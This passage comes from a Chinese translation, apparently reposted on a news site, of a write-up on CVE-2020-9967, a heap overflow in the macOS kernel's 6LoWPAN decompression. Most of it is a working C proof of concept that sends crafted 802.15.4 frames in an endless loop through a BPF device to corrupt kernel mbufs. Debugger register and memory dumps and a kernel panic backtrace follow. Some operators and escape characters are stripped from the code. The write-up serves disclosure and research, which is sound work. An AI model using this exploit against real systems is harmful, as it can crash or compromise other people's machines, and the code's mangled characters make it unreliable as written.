    unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN];
    ssize_t len;
    ssize_t payload_len;
};
 
// Open bpf device
int open_bpf_device()
{
    char buf[11] = {};
    int bpf = 0;
    for(int i = 0; i < 99; i  )
    {
        sprintf(buf,"/dev/bpf%i",i);
        bpf = open(buf,O_RDWR);
        if( bpf != -1 ) {
            printf("Opened device /dev/bpf%in", i);
            break;
        }
    }
    if(bpf == -1) {
        printf("Cannot open any /dev/bpf* device, exitingn");
        exit(1);
    }
    return bpf;
}
 
// Associate device
void assoc_dev(int bpf, char* interface)
{
    struct ifreq bound_if;
    strcpy(bound_if.ifr_name, interface);
    if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) {
        printf("Cannot bind bpf device to physical device %s, exitingn", interface);
        exit(1);
    }
    printf("Bound bpf device to physical device %sn", interface);
}
 
// Write trigger frame
void write_single_frame(int bpf)
{
    ssize_t data_length = 32;
 
    struct frame_t frame;
    memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN);
    memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);
 
    //  802.15.4 frame type.
    frame.header.ether_type = 0x908;
    frame.len = (2*ETHER_ADDR_LEN)   ETHER_TYPE_LEN   data_length;
 
    // Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);
    frame.payload[0] = 0xff;
    frame.payload[1] = 0xff;
 
    // This is the start of the "data" passed to frame802154_parse and considered frame header
    // m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)
    // These are used for the FCF (no flags set)
    frame.payload[2] = 0;
    frame.payload[3] = 0;
    frame.payload[4] = 0;
 
    // As none FCF are set p =3 bytes.
    // header length
    // c = p - data;
    // c = 3
    // payload length
    // pf->payload_len = (4 - 3);
    // pf->payload_len = 1
 
    // This is the start of our payload passed to sixxlowpan_uncompress
    frame.payload[5] = 0;
    frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP
 
    // Just pad the frame with 'A'.
    for (int j = 7; j < 32; j  ) {
        frame.payload[j] = 0x41;
    }
 
    ssize_t bytes_sent;
    bytes_sent = write(bpf, &frame, frame.len);
    if(bytes_sent > 0) {
        printf("Bytes sent: %ldn", bytes_sent);
    } else {
        perror("Error sending frame");
        exit(1);
    }
}
 
int main(int argc, char *argv[])
{
    char* interface = "en0";
 
    int bpf;
    bpf = open_bpf_device();
    assoc_dev(bpf, interface);
       
    // Do this in a loop to ensure we corrupt data following mbuf.
    while (1)
        write_single_frame(bpf);
 
    return 0;
}

效果如下所示:

frame ,0: 0xffffff8012dfa1da kernel`sixxlowpan_uncompress [inlined] memmove(dst=0xffffff806f16f82b, src=0xffffff806f16f806, ulen=65529) at loose_ends.c:873:2 [opt]
 
(lldb) register read
General Purpose Registers:
       rax = 0x0000000000000000
       rbx = 0x0000000000000000
       rcx = 0xffffff8876c7bd28
       rdx = 0x000000000000fff9
       rdi = 0xffffff806f16f806
       rsi = 0xffffff806f16f82b
       rbp = 0xffffff8876c7bcf0
       rsp = 0xffffff8876c7bc30
        r8 = 0xffffff8876c7bc38
        r9 = 0xffffff8876c7bc40
       r10 = 0x0000000000000000
       r11 = 0x0000000000000003
       r12 = 0x0000000000000028
       r13 = 0x0000000000000003
       r14 = 0xffffff8876c7bd28
       r15 = 0xffffff806f16f803
       rip = 0xffffff8012dfa1da  kernel`sixxlowpan_uncompress   298 [inlined] memmove at subrs.c:703
  kernel`sixxlowpan_uncompress   298 [inlined] __memmove_chk at sixxlowpan.c:853
  kernel`sixxlowpan_uncompress   298 at sixxlowpan.c:853
    rflags = 0x0000000000000206
        cs = 0x0000000000000008
        fs = 0x0000000000000000
        gs = 0x0000000000000000
 
 
Source:
 
(lldb) x/20x 0xffffff806f16f806
0xffffff806f16f806: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffff806f16f816: 0x41414141 0x41414141 0x00000000 0x00000000
0xffffff806f16f826: 0x00000000 0x72750000 0x2d726569 0x68737570
0xffffff806f16f836: 0x7070612d 0x632e656c 0x612e6d6f 0x6e64616b
0xffffff806f16f846: 0x656e2e73 0x00002e74 0x00010005 0x62670c28
 
Dest:
 
(lldb) x/20x 0xffffff806f16f82b
0xffffff806f16f82b: 0x69727500 0x702d7265 0x2d687375 0x6c707061
0xffffff806f16f83b: 0x6f632e65 0x6b612e6d 0x736e6461 0x74656e2e
0xffffff806f16f84b: 0x0500002e 0x28000100 0x2d62670c 0x72756f63
0xffffff806f16f85b: 0x2d726569 0x75700a34 0x612d6873 0x656c7070
0xffffff806f16f86b: 0x6d6f6303 0x616b6106 0x03736e64 0x0074656e

由于集群mbuf的长度仅为2048,而且以链接列表的方式链在一起,以是,将导致攻击者控制的数据能够损坏后续mbuf。

在KASAN内核上运行稍作修改的POC 2 (把41换成45),我们也可以看到发生了堆被损坏的征象,而且会触发nextptr的验证:

panic(cpu 0 caller 0xffffff80108f005e): slab_nextptr_panic: mcache.cl buffer 0xffffff806e4e4800 in slab 0xffffff801a0ed9d0 modified after free at offset 0: 0x45454545454545 out of range [0xffffff806e3b0000-0xffffff80723b0000)
 
Backtrace (CPU 0), Frame : Return Address
0xffffff8881e8ece0 : 0xffffff800f88bd34 mach_kernel : _handle_debugger_trap   0x384
0xffffff8881e8ed30 : 0xffffff800fc2598c mach_kernel : _kdp_i386_trap   0x15c
0xffffff8881e8ed70 : 0xffffff800fc11a47 mach_kernel : _kernel_trap   0xa87
0xffffff8881e8ee00 : 0xffffff800fc2c6e0 mach_kernel : trap_from_kernel   0x26
0xffffff8881e8ee20 : 0xffffff800f88b62e mach_kernel : _DebuggerTrapWithState   0x4e
0xffffff8881e8ef40 : 0xffffff8010ef9636 mach_kernel : _panic_trap_to_debugger.cold.1   0xa6
0xffffff8881e8ef90 : 0xffffff800f88c236 mach_kernel : _panic_trap_to_debugger   0x156
0xffffff8881e8efe0 : 0xffffff8010ef9284 mach_kernel : _panic   0x54
0xffffff8881e8f050 : 0xffffff80108f005e mach_kernel : _slab_nextptr_panic   0x2de
0xffffff8881e8f0c0 : 0xffffff80108ee561 mach_kernel : _slab_alloc   0x301
0xffffff8881e8f150 : 0xffffff80108d2e48 mach_kernel : _mbuf_slab_alloc   0x1b8
0xffffff8881e8f2b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext   0x92e
0xffffff8881e8f430 : 0xffffff80108d087d mach_kernel : _mbuf_cslab_alloc   0x33d
0xffffff8881e8f5b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext   0x92e
0xffffff8881e8f730 : 0xffffff8010872a23 mach_kernel : _mcache_alloc   0xd3
0xffffff8881e8f800 : 0xffffff80108d729d mach_kernel : _m_getcl   0x2d
0xffffff8881e8f8b0 : 0xffffff8010146ed9 mach_kernel : _sixlowpan_input   0x119
0xffffff8881e8fa10 : 0xffffff8010120986 mach_kernel : _dlil_ifproto_input   0x136
0xffffff8881e8fa70 : 0xffffff8010102ef3 mach_kernel : _dlil_input_packet_list_common   0x2153
0xffffff8881e8fe70 : 0xffffff801012010d mach_kernel : _dlil_input_thread_cont   0x2cd
0xffffff8881e8ffa0 : 0xffffff800fbf85be mach_kernel : _call_continuation   0x2e

我们估量,由于写入的数据以及写入的长度均可控,因此,该破绽有可能转化为代码执行破绽。

本文翻译自:https://alexplaskett.github.io/CVE-2020-9967/:
分享给小伙伴们:
本文标签: 资讯

相关文章

Copyright © 2002-2019 双鸭山新闻网网 版权所有 Power by DedeMao